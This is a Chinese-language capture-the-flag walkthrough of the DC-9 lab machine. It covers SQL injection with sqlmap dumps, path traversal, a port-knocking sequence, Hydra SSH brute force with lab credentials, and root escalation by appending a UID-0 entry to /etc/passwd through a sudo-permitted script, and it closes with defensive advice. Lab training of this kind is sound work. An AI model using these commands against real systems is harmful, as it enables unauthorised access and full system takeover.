DC系列靶机丨DC9
字数 1162 2025-08-11 17:40:08
DC-9靶机渗透测试教学文档
1. 信息收集阶段
1.1 确定目标IP
使用netdiscover扫描本地网络:
netdiscover -i eth0 -r 192.168.84.0/24
1.2 端口扫描
使用nmap进行端口扫描:
nmap -sS -sV -p- 192.168.84.185
2. Web应用测试
2.1 发现SQL注入漏洞
在搜索框中测试SQL注入:
1' or 1=1 -- qwe
- 此注入成功返回所有信息,确认存在SQL注入漏洞
2.2 利用SQL注入
使用Burp Suite抓取请求数据,然后使用sqlmap自动化工具:
sqlmap -r request.txt --dbs
sqlmap -r request.txt -D database_name --tables
sqlmap -r request.txt -D database_name -T table_name --dump
- 获取到解密后的凭证:
admin:transorbital1
3. 登录后测试
3.1 发现文件包含漏洞
在添加记录页面发现文件包含漏洞:
- 通过添加多个跳转符
../测试路径遍历 - 成功读取Apache 2.4配置文件
4. 服务发现与敲门服务
4.1 发现knockd服务
- 虽然nmap扫描到22端口,但连接被过滤
- 怀疑存在knockd服务(通过特定端口序列动态修改iptables规则)
4.2 敲门序列
使用masscan依次扫描特定端口:
masscan -p7469 192.168.84.185
masscan -p8475 192.168.84.185
masscan -p9842 192.168.84.185
然后使用nmap验证SSH端口是否开放:
nmap 192.168.84.185 -p22
5. SSH爆破
5.1 准备字典
- 将之前收集的用户信息存入username.txt
- 密码存入pw.txt
5.2 使用Hydra爆破
hydra -L username.txt -P pw.txt ssh://192.168.84.185
- 成功爆破出凭证:
janitor:Ilovepeepee
6. 权限提升
6.1 发现隐藏目录
登录后查找隐藏目录和文件:
find / -name "*pass*" 2>/dev/null
- 发现存放密码的文件
6.2 进一步爆破
使用发现的密码进行爆破,得到新凭证:
fredf:B4-Tru3-001
6.3 提权分析
检查sudo权限:
sudo -l
发现可以无密码运行test文件:
sudo ./test
6.4 分析test文件
查找test.py文件:
find / -name test.py 2>/dev/null
分析发现:
- 该Python脚本读取参数1的内容并写入参数2
6.5 构造提权payload
- 生成加密密码:
openssl passwd -1 -salt admin 123456
输出示例:$1$admin$LClYcRe.ee8dQwgrFc5nz.
- 构造passwd文件条目:
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
- 利用test脚本提权:
sudo ./test /tmp/passwd /etc/passwd
- 切换到root用户:
su admin
密码:123456
7. 获取flag
提权成功后,在系统常规flag位置查找并读取flag文件。
关键知识点总结
- SQL注入:通过搜索框发现并利用SQL注入漏洞获取数据库凭证
- 文件包含:通过路径遍历读取系统配置文件
- 敲门服务(knockd):理解并利用端口敲门序列开放SSH服务
- 凭证爆破:使用Hydra进行SSH爆破
- 权限提升:
- 通过sudo权限滥用
- 利用自定义脚本覆盖/etc/passwd文件
- 构造root权限用户实现提权
防御建议
- 对用户输入进行严格过滤,防止SQL注入
- 限制文件包含功能,避免路径遍历
- 避免使用弱密码或默认密码
- 谨慎配置sudo权限,避免无密码执行危险命令
- 定期检查系统上的setuid文件和sudo配置
- 对/etc/passwd等关键文件设置不可变属性(chattr +i)